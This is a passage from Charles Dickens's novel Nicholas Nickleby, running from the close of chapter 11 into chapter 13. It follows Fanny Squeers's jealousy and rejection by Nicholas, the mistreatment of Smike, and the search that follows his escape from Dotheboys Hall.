+in the grate. In the other stood an old tent bedstead, and a few +scanty articles of chamber furniture. + +'Well, my dear,' said Mrs Nickleby, trying to be pleased, 'now isn't +this thoughtful and considerate of your uncle? Why, we should not +have had anything but the bed we bought yesterday, to lie down upon, +if it hadn't been for his thoughtfulness!' + +'Very kind, indeed,' replied Kate, looking round. + +Newman Noggs did not say that he had hunted up the old furniture +they saw, from attic and cellar; or that he had taken in the +halfpennyworth of milk for tea that stood upon a shelf, or filled +the rusty kettle on the hob, or collected the woodchips from the +wharf, or begged the coals. But the notion of Ralph Nickleby having +directed it to be done, tickled his fancy so much, that he could not +refrain from cracking all his ten fingers in succession: at which +performance Mrs Nickleby was rather startled at first, but supposing +it to be in some remote manner connected with the gout, did not +remark upon. + +'We need detain you no longer, I think,' said Kate. + +'Is there nothing I can do?' asked Newman. + +'Nothing, thank you,' rejoined Miss Nickleby. + +'Perhaps, my dear, Mr Noggs would like to drink our healths,' said +Mrs Nickleby, fumbling in her reticule for some small coin. + +'I think, mama,' said Kate hesitating, and remarking Newman's +averted face, 'you would hurt his feelings if you offered it.' + +Newman Noggs, bowing to the young lady more like a gentleman than +the miserable wretch he seemed, placed his hand upon his breast, +and, pausing for a moment, with the air of a man who struggles to +speak but is uncertain what to say, quitted the room. + +As the jarring echoes of the heavy house-door, closing on its latch, +reverberated dismally through the building, Kate felt half tempted +to call him back, and beg him to remain a little while; but she was +ashamed to own her fears, and Newman Noggs was on his road homewards. + + + +CHAPTER 12 + +Whereby the Reader will be enabled to trace the further course of +Miss Fanny Squeer's Love, and to ascertain whether it ran smooth or +otherwise. + + +It was a fortunate circumstance for Miss Fanny Squeers, that when +her worthy papa returned home on the night of the small tea-party, +he was what the initiated term 'too far gone' to observe the +numerous tokens of extreme vexation of spirit which were plainly +visible in her countenance. Being, however, of a rather violent and +quarrelsome mood in his cups, it is not impossible that he might +have fallen out with her, either on this or some imaginary topic, if +the young lady had not, with a foresight and prudence highly +commendable, kept a boy up, on purpose, to bear the first brunt of +the good gentleman's anger; which, having vented itself in a variety +of kicks and cuffs, subsided sufficiently to admit of his being +persuaded to go to bed. Which he did with his boots on, and an +umbrella under his arm. + +The hungry servant attended Miss Squeers in her own room according +to custom, to curl her hair, perform the other little offices of her +toilet, and administer as much flattery as she could get up, for the +purpose; for Miss Squeers was quite lazy enough (and sufficiently +vain and frivolous withal) to have been a fine lady; and it was only +the arbitrary distinctions of rank and station which prevented her +from being one. + +'How lovely your hair do curl tonight, miss!' said the handmaiden. +'I declare if it isn't a pity and a shame to brush it out!' + +'Hold your tongue!' replied Miss Squeers wrathfully. + +Some considerable experience prevented the girl from being at all +surprised at any outbreak of ill-temper on the part of Miss Squeers. +Having a half-perception of what had occurred in the course of the +evening, she changed her mode of making herself agreeable, and +proceeded on the indirect tack. + +'Well, I couldn't help saying, miss, if you was to kill me for it,' +said the attendant, 'that I never see nobody look so vulgar as Miss +Price this night.' + +Miss Squeers sighed, and composed herself to listen. + +'I know it's very wrong in me to say so, miss,' continued the girl, +delighted to see the impression she was making, 'Miss Price being a +friend of your'n, and all; but she do dress herself out so, and go on +in such a manner to get noticed, that--oh--well, if people only saw +themselves!' + +'What do you mean, Phib?' asked Miss Squeers, looking in her own +little glass, where, like most of us, she saw--not herself, but the +reflection of some pleasant image in her own brain. 'How you talk!' + +'Talk, miss! It's enough to make a Tom cat talk French grammar, +only to see how she tosses her head,' replied the handmaid. + +'She DOES toss her head,' observed Miss Squeers, with an air of +abstraction. + +'So vain, and so very--very plain,' said the girl. + +'Poor 'Tilda!' sighed Miss Squeers, compassionately. + +'And always laying herself out so, to get to be admired,' pursued +the servant. 'Oh, dear! It's positive indelicate.' + +'I can't allow you to talk in that way, Phib,' said Miss Squeers. +''Tilda's friends are low people, and if she don't know any better, +it's their fault, and not hers.' + +'Well, but you know, miss,' said Phoebe, for which name 'Phib' was +used as a patronising abbreviation, 'if she was only to take copy by +a friend--oh! if she only knew how wrong she was, and would but set +herself right by you, what a nice young woman she might be in time!' + +'Phib,' rejoined Miss Squeers, with a stately air, 'it's not proper +for me to hear these comparisons drawn; they make 'Tilda look a +coarse improper sort of person, and it seems unfriendly in me to +listen to them. I would rather you dropped the subject, Phib; at +the same time, I must say, that if 'Tilda Price would take pattern +by somebody--not me particularly--' + +'Oh yes; you, miss,' interposed Phib. + +'Well, me, Phib, if you will have it so,' said Miss Squeers. 'I +must say, that if she would, she would be all the better for it.' + +'So somebody else thinks, or I am much mistaken,' said the girl +mysteriously. + +'What do you mean?' demanded Miss Squeers. + +'Never mind, miss,' replied the girl; 'I know what I know; that's +all.' + +'Phib,' said Miss Squeers dramatically, 'I insist upon your +explaining yourself. What is this dark mystery? Speak.' + +'Why, if you will have it, miss, it's this,' said the servant girl. +'Mr John Browdie thinks as you think; and if he wasn't too far gone +to do it creditable, he'd be very glad to be off with Miss Price, +and on with Miss Squeers.' + +'Gracious heavens!' exclaimed Miss Squeers, clasping her hands with +great dignity. 'What is this?' + +'Truth, ma'am, and nothing but truth,' replied the artful Phib. + +'What a situation!' cried Miss Squeers; 'on the brink of +unconsciously destroying the peace and happiness of my own 'Tilda. +What is the reason that men fall in love with me, whether I like it +or not, and desert their chosen intendeds for my sake?' + +'Because they can't help it, miss,' replied the girl; 'the reason's +plain.' (If Miss Squeers were the reason, it was very plain.) + +'Never let me hear of it again,' retorted Miss Squeers. 'Never! Do +you hear? 'Tilda Price has faults--many faults--but I wish her +well, and above all I wish her married; for I think it highly +desirable--most desirable from the very nature of her failings--that +she should be married as soon as possible. No, Phib. Let her have +Mr Browdie. I may pity HIM, poor fellow; but I have a great regard +for 'Tilda, and only hope she may make a better wife than I think +she will.' + +With this effusion of feeling, Miss Squeers went to bed. + +Spite is a little word; but it represents as strange a jumble of +feelings, and compound of discords, as any polysyllable in the +language. Miss Squeers knew as well in her heart of hearts that +what the miserable serving-girl had said was sheer, coarse, lying +flattery, as did the girl herself; yet the mere opportunity of +venting a little ill-nature against the offending Miss Price, and +affecting to compassionate her weaknesses and foibles, though only +in the presence of a solitary dependant, was almost as great a +relief to her spleen as if the whole had been gospel truth. Nay, +more. We have such extraordinary powers of persuasion when they are +exerted over ourselves, that Miss Squeers felt quite high-minded and +great after her noble renunciation of John Browdie's hand, and +looked down upon her rival with a kind of holy calmness and +tranquillity, that had a mighty effect in soothing her ruffled +feelings. + +This happy state of mind had some influence in bringing about a +reconciliation; for, when a knock came at the front-door next day, +and the miller's daughter was announced, Miss Squeers betook herself +to the parlour in a Christian frame of spirit, perfectly beautiful +to behold. + +'Well, Fanny,' said the miller's daughter, 'you see I have come to +see you, although we HAD some words last night.' + +'I pity your bad passions, 'Tilda,' replied Miss Squeers, 'but I +bear no malice. I am above it.' + +'Don't be cross, Fanny,' said Miss Price. 'I have come to tell you +something that I know will please you.' + +'What may that be, 'Tilda?' demanded Miss Squeers; screwing up her +lips, and looking as if nothing in earth, air, fire, or water, could +afford her the slightest gleam of satisfaction. + +'This,' rejoined Miss Price. 'After we left here last night John +and I had a dreadful quarrel.' + +'That doesn't please me,' said Miss Squeers--relaxing into a smile +though. + +'Lor! I wouldn't think so bad of you as to suppose it did,' +rejoined her companion. 'That's not it.' + +'Oh!' said Miss Squeers, relapsing into melancholy. 'Go on.' + +'After a great deal of wrangling, and saying we would never see each +other any more,' continued Miss Price, 'we made it up, and this +morning John went and wrote our names down to be put up, for the +first time, next Sunday, so we shall be married in three weeks, and +I give you notice to get your frock made.' + +There was mingled gall and honey in this intelligence. The prospect +of the friend's being married so soon was the gall, and the +certainty of her not entertaining serious designs upon Nicholas was +the honey. Upon the whole, the sweet greatly preponderated over the +bitter, so Miss Squeers said she would get the frock made, and that +she hoped 'Tilda might be happy, though at the same time she didn't +know, and would not have her build too much upon it, for men were +strange creatures, and a great many married women were very +miserable, and wished themselves single again with all their hearts; +to which condolences Miss Squeers added others equally calculated to +raise her friend's spirits and promote her cheerfulness of mind. + +'But come now, Fanny,' said Miss Price, 'I want to have a word or +two with you about young Mr Nickleby.' + +'He is nothing to me,' interrupted Miss Squeers, with hysterical +symptoms. 'I despise him too much!' + +'Oh, you don't mean that, I am sure?' replied her friend. 'Confess, +Fanny; don't you like him now?' + +Without returning any direct reply, Miss Squeers, all at once, fell +into a paroxysm of spiteful tears, and exclaimed that she was a +wretched, neglected, miserable castaway. + +'I hate everybody,' said Miss Squeers, 'and I wish that everybody +was dead--that I do.' + +'Dear, dear,' said Miss Price, quite moved by this avowal of +misanthropical sentiments. 'You are not serious, I am sure.' + +'Yes, I am,' rejoined Miss Squeers, tying tight knots in her pocket- +handkerchief and clenching her teeth. 'And I wish I was dead too. +There!' + +'Oh! you'll think very differently in another five minutes,' said +Matilda. 'How much better to take him into favour again, than to +hurt yourself by going on in that way. Wouldn't it be much nicer, +now, to have him all to yourself on good terms, in a company- +keeping, love-making, pleasant sort of manner?' + +'I don't know but what it would,' sobbed Miss Squeers. 'Oh! +'Tilda, how could you have acted so mean and dishonourable! I +wouldn't have believed it of you, if anybody had told me.' + +'Heyday!' exclaimed Miss Price, giggling. 'One would suppose I had +been murdering somebody at least.' + +'Very nigh as bad,' said Miss Squeers passionately. + +'And all this because I happen to have enough of good looks to make +people civil to me,' cried Miss Price. 'Persons don't make their +own faces, and it's no more my fault if mine is a good one than it +is other people's fault if theirs is a bad one.' + +'Hold your tongue,' shrieked Miss Squeers, in her shrillest tone; +'or you'll make me slap you, 'Tilda, and afterwards I should be +sorry for it!' + +It is needless to say, that, by this time, the temper of each young +lady was in some slight degree affected by the tone of her +conversation, and that a dash of personality was infused into the +altercation, in consequence. Indeed, the quarrel, from slight +beginnings, rose to a considerable height, and was assuming a very +violent complexion, when both parties, falling into a great passion +of tears, exclaimed simultaneously, that they had never thought of +being spoken to in that way: which exclamation, leading to a +remonstrance, gradually brought on an explanation: and the upshot +was, that they fell into each other's arms and vowed eternal +friendship; the occasion in question making the fifty-second time of +repeating the same impressive ceremony within a twelvemonth. + +Perfect amicability being thus restored, a dialogue naturally ensued +upon the number and nature of the garments which would be +indispensable for Miss Price's entrance into the holy state of +matrimony, when Miss Squeers clearly showed that a great many more +than the miller could, or would, afford, were absolutely necessary, +and could not decently be dispensed with. The young lady then, by +an easy digression, led the discourse to her own wardrobe, and after +recounting its principal beauties at some length, took her friend +upstairs to make inspection thereof. The treasures of two drawers +and a closet having been displayed, and all the smaller articles +tried on, it was time for Miss Price to return home; and as she had +been in raptures with all the frocks, and had been stricken quite +dumb with admiration of a new pink scarf, Miss Squeers said in high +good humour, that she would walk part of the way with her, for the +pleasure of her company; and off they went together: Miss Squeers +dilating, as they walked along, upon her father's accomplishments: +and multiplying his income by ten, to give her friend some faint +notion of the vast importance and superiority of her family. + +It happened that that particular time, comprising the short daily +interval which was suffered to elapse between what was pleasantly +called the dinner of Mr Squeers's pupils, and their return to the +pursuit of useful knowledge, was precisely the hour when Nicholas +was accustomed to issue forth for a melancholy walk, and to brood, +as he sauntered listlessly through the village, upon his miserable +lot. Miss Squeers knew this perfectly well, but had perhaps +forgotten it, for when she caught sight of that young gentleman +advancing towards them, she evinced many symptoms of surprise and +consternation, and assured her friend that she 'felt fit to drop +into the earth.' + +'Shall we turn back, or run into a cottage?' asked Miss Price. 'He +don't see us yet.' + +'No, 'Tilda,' replied Miss Squeers, 'it is my duty to go through +with it, and I will!' + +As Miss Squeers said this, in the tone of one who has made a high +moral resolution, and was, besides, taken with one or two chokes and +catchings of breath, indicative of feelings at a high pressure, her +friend made no further remark, and they bore straight down upon +Nicholas, who, walking with his eyes bent upon the ground, was not +aware of their approach until they were close upon him; otherwise, +he might, perhaps, have taken shelter himself. + +'Good-morning,' said Nicholas, bowing and passing by. + +'He is going,' murmured Miss Squeers. 'I shall choke, 'Tilda.' + +'Come back, Mr Nickleby, do!' cried Miss Price, affecting alarm at +her friend's threat, but really actuated by a malicious wish to hear +what Nicholas would say; 'come back, Mr Nickleby!' + +Mr Nickleby came back, and looked as confused as might be, as he +inquired whether the ladies had any commands for him. + +'Don't stop to talk,' urged Miss Price, hastily; 'but support her on +the other side. How do you feel now, dear?' + +'Better,' sighed Miss Squeers, laying a beaver bonnet of a reddish +brown with a green veil attached, on Mr Nickleby's shoulder. 'This +foolish faintness!' + +'Don't call it foolish, dear,' said Miss Price: her bright eye +dancing with merriment as she saw the perplexity of Nicholas; 'you +have no reason to be ashamed of it. It's those who are too proud to +come round again, without all this to-do, that ought to be ashamed.' + +'You are resolved to fix it upon me, I see,' said Nicholas, smiling, +'although I told you, last night, it was not my fault.' + +'There; he says it was not his fault, my dear,' remarked the wicked +Miss Price. 'Perhaps you were too jealous, or too hasty with him? +He says it was not his fault. You hear; I think that's apology +enough.' + +'You will not understand me,' said Nicholas. 'Pray dispense with +this jesting, for I have no time, and really no inclination, to be +the subject or promoter of mirth just now.' + +'What do you mean?' asked Miss Price, affecting amazement. + +'Don't ask him, 'Tilda,' cried Miss Squeers; 'I forgive him.' + +'Dear me,' said Nicholas, as the brown bonnet went down on his +shoulder again, 'this is more serious than I supposed. Allow me! +Will you have the goodness to hear me speak?' + +Here he raised up the brown bonnet, and regarding with most +unfeigned astonishment a look of tender reproach from Miss Squeers, +shrunk back a few paces to be out of the reach of the fair burden, +and went on to say: + +'I am very sorry--truly and sincerely sorry--for having been the +cause of any difference among you, last night. I reproach myself, +most bitterly, for having been so unfortunate as to cause the +dissension that occurred, although I did so, I assure you, most +unwittingly and heedlessly.' + +'Well; that's not all you have got to say surely,' exclaimed Miss +Price as Nicholas paused. + +'I fear there is something more,' stammered Nicholas with a half- +smile, and looking towards Miss Squeers, 'it is a most awkward thing +to say--but--the very mention of such a supposition makes one look +like a puppy--still--may I ask if that lady supposes that I +entertain any--in short, does she think that I am in love with her?' + +'Delightful embarrassment,' thought Miss Squeers, 'I have brought +him to it, at last. Answer for me, dear,' she whispered to her +friend. + +'Does she think so?' rejoined Miss Price; 'of course she does.' + +'She does!' exclaimed Nicholas with such energy of utterance as +might have been, for the moment, mistaken for rapture. + +'Certainly,' replied Miss Price + +'If Mr Nickleby has doubted that, 'Tilda,' said the blushing Miss +Squeers in soft accents, 'he may set his mind at rest. His +sentiments are recipro--' + +'Stop,' cried Nicholas hurriedly; 'pray hear me. This is the +grossest and wildest delusion, the completest and most signal +mistake, that ever human being laboured under, or committed. I have +scarcely seen the young lady half-a-dozen times, but if I had seen +her sixty times, or am destined to see her sixty thousand, it would +be, and will be, precisely the same. I have not one thought, wish, +or hope, connected with her, unless it be--and I say this, not to +hurt her feelings, but to impress her with the real state of my own +--unless it be the one object, dear to my heart as life itself, of +being one day able to turn my back upon this accursed place, never +to set foot in it again, or think of it--even think of it--but with +loathing and disgust.' + +With this particularly plain and straightforward declaration, which +he made with all the vehemence that his indignant and excited +feelings could bring to bear upon it, Nicholas waiting to hear no +more, retreated. + +But poor Miss Squeers! Her anger, rage, and vexation; the rapid +succession of bitter and passionate feelings that whirled through +her mind; are not to be described. Refused! refused by a teacher, +picked up by advertisement, at an annual salary of five pounds +payable at indefinite periods, and 'found' in food and lodging like +the very boys themselves; and this too in the presence of a little +chit of a miller's daughter of eighteen, who was going to be +married, in three weeks' time, to a man who had gone down on his +very knees to ask her. She could have choked in right good earnest, +at the thought of being so humbled. + +But, there was one thing clear in the midst of her mortification; +and that was, that she hated and detested Nicholas with all the +narrowness of mind and littleness of purpose worthy a descendant of +the house of Squeers. And there was one comfort too; and that was, +that every hour in every day she could wound his pride, and goad him +with the infliction of some slight, or insult, or deprivation, which +could not but have some effect on the most insensible person, and +must be acutely felt by one so sensitive as Nicholas. With these +two reflections uppermost in her mind, Miss Squeers made the best of +the matter to her friend, by observing that Mr Nickleby was such an +odd creature, and of such a violent temper, that she feared she +should be obliged to give him up; and parted from her. + +And here it may be remarked, that Miss Squeers, having bestowed her +affections (or whatever it might be that, in the absence of anything +better, represented them) on Nicholas Nickleby, had never once +seriously contemplated the possibility of his being of a different +opinion from herself in the business. Miss Squeers reasoned that +she was prepossessing and beautiful, and that her father was master, +and Nicholas man, and that her father had saved money, and Nicholas +had none, all of which seemed to her conclusive arguments why the +young man should feel only too much honoured by her preference. She +had not failed to recollect, either, how much more agreeable she +could render his situation if she were his friend, and how much more +disagreeable if she were his enemy; and, doubtless, many less +scrupulous young gentlemen than Nicholas would have encouraged her +extravagance had it been only for this very obvious and intelligible +reason. However, he had thought proper to do otherwise, and Miss +Squeers was outrageous. + +'Let him see,' said the irritated young lady, when she had regained +her own room, and eased her mind by committing an assault on Phib, +'if I don't set mother against him a little more when she comes +back!' + +It was scarcely necessary to do this, but Miss Squeers was as good +as her word; and poor Nicholas, in addition to bad food, dirty +lodging, and the being compelled to witness one dull unvarying round +of squalid misery, was treated with every special indignity that +malice could suggest, or the most grasping cupidity put upon him. + +Nor was this all. There was another and deeper system of annoyance +which made his heart sink, and nearly drove him wild, by its +injustice and cruelty. + +The wretched creature, Smike, since the night Nicholas had spoken +kindly to him in the schoolroom, had followed him to and fro, with +an ever-restless desire to serve or help him; anticipating such +little wants as his humble ability could supply, and content only to +be near him. He would sit beside him for hours, looking patiently +into his face; and a word would brighten up his care-worn visage, +and call into it a passing gleam, even of happiness. He was an +altered being; he had an object now; and that object was, to show +his attachment to the only person--that person a stranger--who had +treated him, not to say with kindness, but like a human creature. + +Upon this poor being, all the spleen and ill-humour that could not +be vented on Nicholas were unceasingly bestowed. Drudgery would +have been nothing--Smike was well used to that. Buffetings +inflicted without cause, would have been equally a matter of course; +for to them also he had served a long and weary apprenticeship; but +it was no sooner observed that he had become attached to Nicholas, +than stripes and blows, stripes and blows, morning, noon, and night, +were his only portion. Squeers was jealous of the influence which +his man had so soon acquired, and his family hated him, and Smike +paid for both. Nicholas saw it, and ground his teeth at every +repetition of the savage and cowardly attack. + +He had arranged a few regular lessons for the boys; and one night, +as he paced up and down the dismal schoolroom, his swollen heart +almost bursting to think that his protection and countenance should +have increased the misery of the wretched being whose peculiar +destitution had awakened his pity, he paused mechanically in a dark +corner where sat the object of his thoughts. + +The poor soul was poring hard over a tattered book, with the traces +of recent tears still upon his face; vainly endeavouring to master +some task which a child of nine years old, possessed of ordinary +powers, could have conquered with ease, but which, to the addled +brain of the crushed boy of nineteen, was a sealed and hopeless +mystery. Yet there he sat, patiently conning the page again and +again, stimulated by no boyish ambition, for he was the common jest +and scoff even of the uncouth objects that congregated about him, +but inspired by the one eager desire to please his solitary friend. + +Nicholas laid his hand upon his shoulder. + +'I can't do it,' said the dejected creature, looking up with bitter +disappointment in every feature. 'No, no.' + +'Do not try,' replied Nicholas. + +The boy shook his head, and closing the book with a sigh, looked +vacantly round, and laid his head upon his arm. He was weeping. + +'Do not for God's sake,' said Nicholas, in an agitated voice; 'I +cannot bear to see you.' + +'They are more hard with me than ever,' sobbed the boy. + +'I know it,' rejoined Nicholas. 'They are.' + +'But for you,' said the outcast, 'I should die. They would kill me; +they would; I know they would.' + +'You will do better, poor fellow,' replied Nicholas, shaking his +head mournfully, 'when I am gone.' + +'Gone!' cried the other, looking intently in his face. + +'Softly!' rejoined Nicholas. 'Yes.' + +'Are you going?' demanded the boy, in an earnest whisper. + +'I cannot say,' replied Nicholas. 'I was speaking more to my own +thoughts, than to you.' + +'Tell me,' said the boy imploringly, 'oh do tell me, WILL you go-- +WILL you?' + +'I shall be driven to that at last!' said Nicholas. 'The world is +before me, after all.' + +'Tell me,' urged Smike, 'is the world as bad and dismal as this +place?' + +'Heaven forbid,' replied Nicholas, pursuing the train of his own +thoughts; 'its hardest, coarsest toil, were happiness to this.' + +'Should I ever meet you there?' demanded the boy, speaking with +unusual wildness and volubility. + +'Yes,' replied Nicholas, willing to soothe him. + +'No, no!' said the other, clasping him by the hand. 'Should I-- +should I--tell me that again. Say I should be sure to find you.' + +'You would,' replied Nicholas, with the same humane intention, 'and +I would help and aid you, and not bring fresh sorrow on you as I +have done here.' + +The boy caught both the young man's hands passionately in his, and, +hugging them to his breast, uttered a few broken sounds which were +unintelligible. Squeers entered at the moment, and he shrunk back +into his old corner. + + + +CHAPTER 13 + +Nicholas varies the Monotony of Dothebys Hall by a most vigorous and +remarkable proceeding, which leads to Consequences of some +Importance + + +The cold, feeble dawn of a January morning was stealing in at the +windows of the common sleeping-room, when Nicholas, raising himself +on his arm, looked among the prostrate forms which on every side +surrounded him, as though in search of some particular object. + +It needed a quick eye to detect, from among the huddled mass of +sleepers, the form of any given individual. As they lay closely +packed together, covered, for warmth's sake, with their patched and +ragged clothes, little could be distinguished but the sharp outlines +of pale faces, over which the sombre light shed the same dull heavy +colour; with, here and there, a gaunt arm thrust forth: its thinness +hidden by no covering, but fully exposed to view, in all its +shrunken ugliness. There were some who, lying on their backs with +upturned faces and clenched hands, just visible in the leaden light, +bore more the aspect of dead bodies than of living creatures; and +there were others coiled up into strange and fantastic postures, +such as might have been taken for the uneasy efforts of pain to gain +some temporary relief, rather than the freaks of slumber. A few-- +and these were among the youngest of the children--slept peacefully +on, with smiles upon their faces, dreaming perhaps of home; but ever +and again a deep and heavy sigh, breaking the stillness of the room, +announced that some new sleeper had awakened to the misery of +another day; and, as morning took the place of night, the smiles +gradually faded away, with the friendly darkness which had given +them birth. + +Dreams are the bright creatures of poem and legend, who sport on +earth in the night season, and melt away in the first beam of the +sun, which lights grim care and stern reality on their daily +pilgrimage through the world. + +Nicholas looked upon the sleepers; at first, with the air of one who +gazes upon a scene which, though familiar to him, has lost none of +its sorrowful effect in consequence; and, afterwards, with a more +intense and searching scrutiny, as a man would who missed something +his eye was accustomed to meet, and had expected to rest upon. He +was still occupied in this search, and had half risen from his bed +in the eagerness of his quest, when the voice of Squeers was heard, +calling from the bottom of the stairs. + +'Now then,' cried that gentleman, 'are you going to sleep all day, +up there--' + +'You lazy hounds?' added Mrs Squeers, finishing the sentence, and +producing, at the same time, a sharp sound, like that which is +occasioned by the lacing of stays. + +'We shall be down directly, sir,' replied Nicholas. + +'Down directly!' said Squeers. 'Ah! you had better be down +directly, or I'll be down upon some of you in less. Where's that +Smike?' + +Nicholas looked hurriedly round again, but made no answer. + +'Smike!' shouted Squeers. + +'Do you want your head broke in a fresh place, Smike?' demanded his +amiable lady in the same key. + +Still there was no reply, and still Nicholas stared about him, as +did the greater part of the boys, who were by this time roused. + +'Confound his impudence!' muttered Squeers, rapping the stair-rail +impatiently with his cane. 'Nickleby!' + +'Well, sir.' + +'Send that obstinate scoundrel down; don't you hear me calling?' + +'He is not here, sir,' replied Nicholas. + +'Don't tell me a lie,' retorted the schoolmaster. 'He is.' + +'He is not,' retorted Nicholas angrily, 'don't tell me one.' + +'We shall soon see that,' said Mr Squeers, rushing upstairs. 'I'll +find him, I warrant you.' + +With which assurance, Mr Squeers bounced into the dormitory, and, +swinging his cane in the air ready for a blow, darted into the +corner where the lean body of the drudge was usually stretched at +night. The cane descended harmlessly upon the ground. There was +nobody there. + +'What does this mean?' said Squeers, turning round with a very pale +face. 'Where have you hid him?' + +'I have seen nothing of him since last night,' replied Nicholas. + +'Come,' said Squeers, evidently frightened, though he endeavoured to +look otherwise, 'you won't save him this way. Where is he?' + +'At the bottom of the nearest pond for aught I know,' rejoined +Nicholas in a low voice, and fixing his eyes full on the master's +face. + +'Damn you, what do you mean by that?' retorted Squeers in great +perturbation. Without waiting for a reply, he inquired of the boys +whether any one among them knew anything of their missing +schoolmate. + +There was a general hum of anxious denial, in the midst of which, +one shrill voice was heard to say (as, indeed, everybody thought): + +'Please, sir, I think Smike's run away, sir.' + +'Ha!' cried Squeers, turning sharp round. 'Who said that?' + +'Tomkins, please sir,' rejoined a chorus of voices. Mr Squeers made +a plunge into the crowd, and at one dive, caught a very little boy, +habited still in his night-gear, and the perplexed expression of +whose countenance, as he was brought forward, seemed to intimate +that he was as yet uncertain whether he was about to be punished or +rewarded for the suggestion. He was not long in doubt. + +'You think he has run away, do you, sir?' demanded Squeers. + +'Yes, please sir,' replied the little boy. + +'And what, sir,' said Squeers, catching the little boy suddenly by +the arms and whisking up his drapery in a most dexterous manner, +'what reason have you to suppose that any boy would want to run away +from this establishment? Eh, sir?' + +The child raised a dismal cry, by way of answer, and Mr Squeers, +throwing himself into the most favourable attitude for exercising +his strength, beat him until the little urchin in his writhings +actually rolled out of his hands, when he mercifully allowed him to +roll away, as he best could. + +'There,' said Squeers. 'Now if any other boy thinks Smike has run +away, I shall be glad to have a talk with him.' + +There was, of course, a profound silence, during which Nicholas +showed his disgust as plainly as looks could show it. + +'Well, Nickleby,' said Squeers, eyeing him maliciously. 'YOU think +he has run away, I suppose?' + +'I think it extremely likely,' replied Nicholas, in a quiet manner. + +'Oh, you do, do you?' sneered Squeers. 'Maybe you know he has?' + +'I know nothing of the kind.' + +'He didn't tell you he was going, I suppose, did he?' sneered +Squeers. + +'He did not,' replied Nicholas; 'I am very glad he did not, for it +would then have been my duty to have warned you in time.' + +'Which no doubt you would have been devilish sorry to do,' said +Squeers in a taunting fashion. + +'I should indeed,' replied Nicholas. 'You interpret my feelings +with great accuracy.' + +Mrs Squeers had listened to this conversation, from the bottom of +the stairs; but, now losing all patience, she hastily assumed her +night-jacket, and made her way to the scene of action. + +'What's all this here to-do?' said the lady, as the boys fell off +right and left, to save her the trouble of clearing a passage with +her brawny arms. 'What on earth are you a talking to him for, +Squeery!' + +'Why, my dear,' said Squeers, 'the fact is, that Smike is not to be +found.' + +'Well, I know that,' said the lady, 'and where's the wonder? If you +get a parcel of proud-stomached teachers that set the young dogs a +rebelling, what else can you look for? Now, young man, you just +have the kindness to take yourself off to the schoolroom, and take +the boys off with you, and don't you stir out of there till you have +leave given you, or you and I may fall out in a way that'll spoil +your beauty, handsome as you think yourself, and so I tell you.' + +'Indeed!' said Nicholas. + +'Yes; and indeed and indeed again, Mister Jackanapes,' said the +excited lady; 'and I wouldn't keep such as you in the house another +hour, if I had my way.' + +'Nor would you if I had mine,' replied Nicholas. 'Now, boys!' + +'Ah! Now, boys,' said Mrs Squeers, mimicking, as nearly as she +could, the voice and manner of the usher. 'Follow your leader, +boys, and take pattern by Smike if you dare. See what he'll get for +himself, when he is brought back; and, mind! I tell you that you +shall have as bad, and twice as bad, if you so much as open your +mouths about him.' + +'If I catch him,' said Squeers, 'I'll only stop short of flaying him +alive. I give you notice, boys.' + +'IF you catch him,' retorted Mrs Squeers, contemptuously; 'you are +sure to; you can't help it, if you go the right way to work. Come! +Away with you!' + +With these words, Mrs Squeers dismissed the boys, and after a little +light skirmishing with those in the rear who were pressing forward +to get out of the way, but were detained for a few moments by the +throng in front, succeeded in clearing the room, when she confronted +her spouse alone. + +'He is off,' said Mrs Squeers. 'The cow-house and stable are locked +up, so he can't be there; and he's not downstairs anywhere, for the +girl has looked. He must have gone York way, and by a public road +too.' + +'Why must he?' inquired Squeers. + +'Stupid!' said Mrs Squeers angrily. 'He hadn't any money, had he?' + +'Never had a penny of his own in his whole life, that I know of,' +replied Squeers. + +'To be sure,' rejoined Mrs Squeers, 'and he didn't take anything to +eat with him; that I'll answer for. Ha! ha! ha!' + +'Ha! ha! ha!' laughed Squeers. + +'Then, of course,' said Mrs S., 'he must beg his way, and he could +do that, nowhere, but on the public road.' + +'That's true,' exclaimed Squeers, clapping his hands. + +'True! Yes; but you would never have thought of it, for all that, +if I hadn't said so,' replied his wife. 'Now, if you take the +chaise and go one road, and I borrow Swallow's chaise, and go the +other, what with keeping our eyes open, and asking questions, one or +other of us is pretty certain to lay hold of him.' + +The worthy lady's plan was adopted and put in execution without a +moment's delay. After a very hasty breakfast, and the prosecution +of some inquiries in the village, the result of which seemed to show +that he was on the right track, Squeers started forth in the pony- +chaise, intent upon discovery and vengeance. Shortly afterwards, +Mrs Squeers, arrayed in the white top-coat, and tied up in various +shawls and handkerchiefs, issued forth in another chaise and another +direction, taking with her a good-sized bludgeon, several odd pieces +of strong cord, and a stout labouring man: all provided and carried +upon the expedition, with the sole object of assisting in the +capture, and (once caught) insuring the safe custody of the +unfortunate Smike. + +Nicholas remained behind, in a tumult of feeling, sensible that +whatever might be the upshot of the boy's flight, nothing but +painful and deplorable consequences were likely to ensue from it. +Death, from want and exposure to the weather, was the best that +could be expected from the protracted wandering of so poor and +helpless a creature, alone and unfriended, through a country of +which he was wholly ignorant. There was little, perhaps, to choose +between this fate and a return to the tender mercies of the +Yorkshire school; but the unhappy being had established a hold upon +his sympathy and compassion, which made his heart ache at the +prospect of the suffering he was destined to undergo. He lingered +on, in restless anxiety, picturing a thousand possibilities, until +the evening of next day, when Squeers returned, alone, and +unsuccessful. + +'No news of the scamp!' said the schoolmaster, who had evidently +been stretching his legs, on the old principle, not a few times +during the journey. 'I'll have consolation for this out of +somebody, Nickleby, if Mrs Squeers don't hunt him down; so I give +you warning.' + +'It is not in my power to console you, sir,' said Nicholas. 'It is +nothing to me.' + +'Isn't it?' said Squeers in a threatening manner. 'We shall see!' + +'We shall,' rejoined Nicholas. + +'Here's the pony run right off his legs, and me obliged to come home +with a hack cob, that'll cost fifteen shillings besides other +expenses,' said Squeers; 'who's to pay for that, do you hear?' + +Nicholas shrugged his shoulders and remained silent. + +'I'll have it out of somebody, I tell you,' said Squeers, his usual +harsh crafty manner changed to open bullying 'None of your whining +vapourings here, Mr Puppy, but be off to your kennel, for it's past +your bedtime! Come! Get out!' + +Nicholas bit his lip and knit his hands involuntarily, for his +fingerends tingled to avenge the insult; but remembering that the +man was drunk, and that it could come to little but a noisy brawl, +he contented himself with darting a contemptuous look at the tyrant, +and walked, as majestically as he could, upstairs: not a little +nettled, however, to observe that Miss Squeers and Master Squeers, +and the servant girl, were enjoying the scene from a snug corner; +the two former indulging in many edifying remarks about the +presumption of poor upstarts, which occasioned a vast deal of +laughter, in which even the most miserable of all miserable servant +girls joined: while Nicholas, stung to the quick, drew over his head +such bedclothes as he had, and sternly 